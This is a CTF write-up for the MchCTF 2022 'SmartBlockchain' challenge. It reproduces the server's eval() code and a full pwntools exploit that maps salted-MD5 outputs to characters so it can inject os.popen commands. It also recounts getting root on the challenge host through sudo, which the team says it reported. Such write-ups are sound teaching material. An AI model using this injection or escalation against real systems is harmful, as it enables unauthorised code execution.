3 minutes
SmartBlockchain | MchCTF 2022 | Catégorie Misc | [Eletro/EN]
Fichier(s)
Nécessaires
- Python3
Flag
flag{8184bd02979a50440f46d484adadb454}
Description
The smartblockchain challenge is a kind of pyjail escape leading to a remote code execution. The server code is provided and resumed below :
Disclaimer
No servers where harmed during this ctf! 🐱
import hashlib
import sys
import os
def is_printable_ascii(c):
string = chr(c)
return string.isascii() and string.isprintable()
def make_payload(line, salt):
hashed = hashlib.md5((salt + line).encode("utf8")).digest()
code = filter(is_printable_ascii, hashed)
return bytes(code).decode("ascii")
salt = os.urandom(8).hex()
print(f"Here is your salt: {salt}")
sys.stdout.flush()
payload = ""
for line in sys.stdin:
if line[-1] == "\n": line = line[:-1]
payload += make_payload(line, salt)
eval(payload)
The objective of the challenge is quite simple:
- Select a command we wish to execute
- Adapt the command to make it through “make_payload” function
- Send it in chunk to the server to fill the payload variable
- Break the loop
- Get Remote Code Execution through eval()
The"make_payload function is quite trivial, it generates a salted md5 hash of our input as a string of bytes (notice the .digest and not the .hexdigest). Then the salter hash is filtered to keep only the printable characters.
The way to solve the make_payload step is to fuzz the input and to keep only the input that provide a single printable character as an output, which possibly in included in the character list of our payload.
The way to break the “sys.stdin” has required a bit more of research until we notice the following pwntools functions proc.shutdown(direction=“send”) that stop sending input to the server and achieved the desired goal of breaking the loop.
The final exploit looks like:
from pwn import *
import hashlib
import string
import random
import os
import time
context.log_level = 'critical'
url = 'smartblockchain.ctf.zone'
port = 8333
url_debug = '127.0.0.1'
port_debug = 1337
def Get_proc():
proc = remote(url,port) if args.REMOTE else remote(url_debug,port_debug)
proc.recvuntil(b'Here is your salt: ')
return proc
def is_printable_ascii(c):
return chr(c).isascii() and chr(c).isprintable()
def Gen_map(salt,cmd):
mapping = {}
while(len(set(cmd)) != len(mapping)):
line = ''.join(random.choice(string.ascii_lowercase) for i in range(5))
ciphered = bytes(filter(is_printable_ascii, hashlib.md5((salt + line).encode("utf8")).digest())).decode("ascii")
if(len(ciphered) == 1 and ciphered in cmd and ciphered not in mapping.keys()):
mapping[ciphered] = line
return mapping
def Gen_payload(mapping,cmd):
payload = b''
for letter in cmd:
payload += bytes(mapping[letter],'utf-8') + b'\n'
return payload[:-1]
while 1:
pl = input(">>>").strip()
proc = Get_proc()
salt = proc.recvline().decode().strip()
print('Seed: %s'%salt)
#cmd = "print(os.popen('cat /flag').read())"
cmd = "print(os.popen('"+pl+"').read())"
mapping = Gen_map(salt,cmd)
payload = Gen_payload(mapping,cmd)
payload=payload
print('Payload :%s'%payload)
proc.send(payload)
proc.shutdown(direction="send")
time.sleep(0.1)
print(proc.recvall().decode())
Then we get the flag as indicated in the description…
Wait what ?!
Then, we explore a bit the / folder of the challenge to see if we find a juicy file.
Nothing there, then the home folder !
Wait what ?! .sudo_as_admin_successul ?
Let’s check something obvious sudo -l 🔥
is it real ?
root ! from that point forward, we did inform the CTF admin of this weakness … we could also have mined some real bitcoins as well 💰
The CTF was fun and we did not interfere with it, we get the flag and associated the points :)
Electro [The Magician], Vozec [The Fool] and Leslato [The Tower].